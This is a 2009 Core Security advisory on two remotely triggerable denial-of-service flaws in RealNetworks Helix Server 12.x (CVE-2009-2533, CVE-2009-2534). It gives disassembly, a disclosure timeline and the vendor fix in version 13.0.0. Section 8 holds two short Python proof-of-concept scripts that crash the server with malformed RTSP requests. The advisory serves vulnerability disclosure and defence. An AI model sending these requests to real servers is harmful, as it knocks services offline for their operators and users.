Real Helix DNA RTSP and SETUP Request Handler Vulnerabilities

Advisory ID Internal

1. Advisory Information

Title: Real Helix DNA RTSP and SETUP request handler vulnerabilities
Advisory ID: CORE-2009-0227
Advisory URL:
Date published: 2009-07-17
Date of last update: 2009-07-17
Vendors contacted: Real Networks
Release mode: Forced release

2. Vulnerability Information

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: CVE-2009-2533, CVE-2009-2534

3. Vulnerability Description

Helix Server is a multi-format cross-platform streaming server. Two vulnerabilities have been found, that could allow a remote attacker to crash the Helix Server.

During a RTSP (SET_PARAMETERS) request handling, if an empty DataConvertBuffer parameter is received by the server, it will raise an exception reading an invalid direction of memory. This exception is usually handled correctly but if you send this malformed request multiple times in a short period of time, it could render the Helix Server unresponsive and terminate its execution.

During the SETUP request handling, a 0x2F character is searched in the request line, if this byte is absent the process crashes with an access violation.

4. Vulnerable Packages

  • Helix Server Version 12.x
  • Helix Mobile Server Version 12.x
  • The vulnerabilities were investigated on Helix Server Version (Tahiti) Build 175002/12667

5. Non-Vulnerable Packages

  • Helix Server Version 13.0.0
  • Helix Mobile Server Version 13.0.0

6. Vendor Information, Solutions and Workarounds

According to the Security Update 071409HS [2] published by RealNetworks: "The vulnerability is resolved on the following platforms by installing Version 13.0.0 of the Helix Server and the Helix Mobile Server. This only pertains to supported versions of the platforms listed below. The updated version will be available on your RealNetworks PAM site after 12:00 am PST, on July 14, 2009."

  • Red Hat Enterprise Linux 4
  • Red Hat Enterprise Linux 5
  • Sun Solaris 10
  • Windows 2003

7. Credits

These vulnerabilities were discovered and researched by Damian Frizza from Core Security Technologies.

8. Technical Description / Proof of Concept Code

8.1. RTSP request handling Denial of Service (CVE-2009-2533)

The problem arises when the rmserver process receives an RTSP (SET_PARAMETER) request with no content in the DataConvertBuffer parameter. The handling code reads at the memory location zero (0) and triggers an exception, which is handled correctly. However sending this malformed request multiple times renders the rmserver process unresponsive and subsequently stops its execution.

The code section which triggers the exception is:

00458066 |. C745 08 00000000 MOV DWORD PTR SS:[EBP+8],0 *Sets the content of the local variable to 0 0045806D |. 8B10 MOV EDX,DWORD PTR DS:[EAX] 0045806F |. 50 PUSH EAX 00458070 |. FF52 2C CALL DWORD PTR DS:[EDX+2C] 00458073 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 00458076 |. 8B10 MOV EDX,DWORD PTR DS:[EAX] * Tries to read form 0 memory location 

The following PoC code reproduces the issue:

import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('',554)) setRequest = "SET_PARAMETER / RTSP/1.0\r\n" setRequest +="DataConvertBuffer: \r\n\r\n" for i in range(5): print i s.send(setRequest) s.close() 

The following output is written in the log file:

4068: FATAL ERROR: The server has run out of memory! FATAL ERROR: Last request was rounded up to 1155072 bytes Trace: 0x00409C96 ... ... ... 0x00000000 FATAL ERROR: Server Terminated 

8.2. Malformed SETUP command handling Denial of Service (CVE-2009-2534)

The problem arises when the SETUP request is handled and the byte 0x2F is absent in the request line. While handling this kind of malformed request the server crashes with an access violation.

The code section which triggers the access violation is:

0047A490 |. 6A 2F PUSH 2F 0047A492 |. 56 PUSH ESI 0047A493 |. FF15 08425100 CALL DWORD PTR DS:[<&MSVCR71.strchr>] ; MSVCR71.strchr 

if only the "/" (0x2F) character is sent, the program tries to copy from 0 and the access violation exception is raised.

0047A490 |. 6A 2F PUSH 2F 0047A492 |. 56 PUSH ESI 0047A493 |. FF15 08425100 CALL DWORD PTR DS:[<&MSVCR71.strchr>] ; MSVCR71.strchr 

The following code reproduces the issue:

import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('',554)) setRequest = "SETUP / RTSP/1.0\r\n\r\n" s.send(setRequest) s.close() 

9. Report Timeline

  • 2009-03-04: Core Security Technologies notifies RealNetworks of the vulnerability. Core initially schedules publication of its advisory to April 6th, 2009.
  • 2009-03-16: Core notifies again RealNetworks of the vulnerability.
  • 2009-03-16: RealNetworks identifies the vulnerability alert as SPAM.
  • 2009-03-20: The RealNetworks team asks Core for a technical description of the vulnerability.
  • 2009-03-23: Technical details sent to RealNetworks team by Core. RealNetworks acknowledges reception.
  • 2009-03-30: Core requests information about the plans of RealNetworks to fix the vulnerabilities.
  • 2009-03-30: RealNetworks responds that fixes will be included in the next public release - currently targeted for July 2009.
  • 2009-05-04: Core requests RealNetworks a technical analysis of the vulnerabilities, a list of the affected versions of Helix Server, and a detailed timelime for developing, testing and releasing fixes for these vulnerabilities. It is only based on that information that Core can reevaluate its advisory publication timeframe (which was originally scheduled to be published on April 6).
  • 2009-05-05: RealNetworks responds that fixes will be available in mid-2009, most likely in the July time frame, and that to protect its customer base RealNetworks will not provide additional details until the release is publicly available.
  • 2009-05-05: Core requests a more precise estimation for the release of fixes (no reply received).
  • 2009-05-29: Core requests again RealNetworks an estimated date for the release of fixes, and technical details about the issues. In the meantime, the publication of advisory CORE-2009-0227 is rescheduled for July 15th (no reply received).
  • 2009-07-16: An updated version of the advisory was sent to RealNetworks by Core. Core requests again information about this issue.
  • 2009-07-17: Core is made aware that Real Networks has released the Security Update 071409HS [2] on July 14th, which states that version 13.0.0 of the Helix Server and the Helix Mobile Server have been updated to ensure that the above vulnerabilities have been resolved.
  • 2009-07-17: The advisory CORE-2009-0227 is published by Core.

10. References

[1] RealNetworks
[2] RealNetworks Security Update 071409HS

11. About CoreLabs

CoreLabs, the research center of Core Security, A HelpSystems Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at  

12. About Core Security, A HelpSystems Company

Core Security, a HelpSystems Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at

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13. Disclaimer

The contents of this advisory are copyright (c) 2009 Core Security Technologies and (c) 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.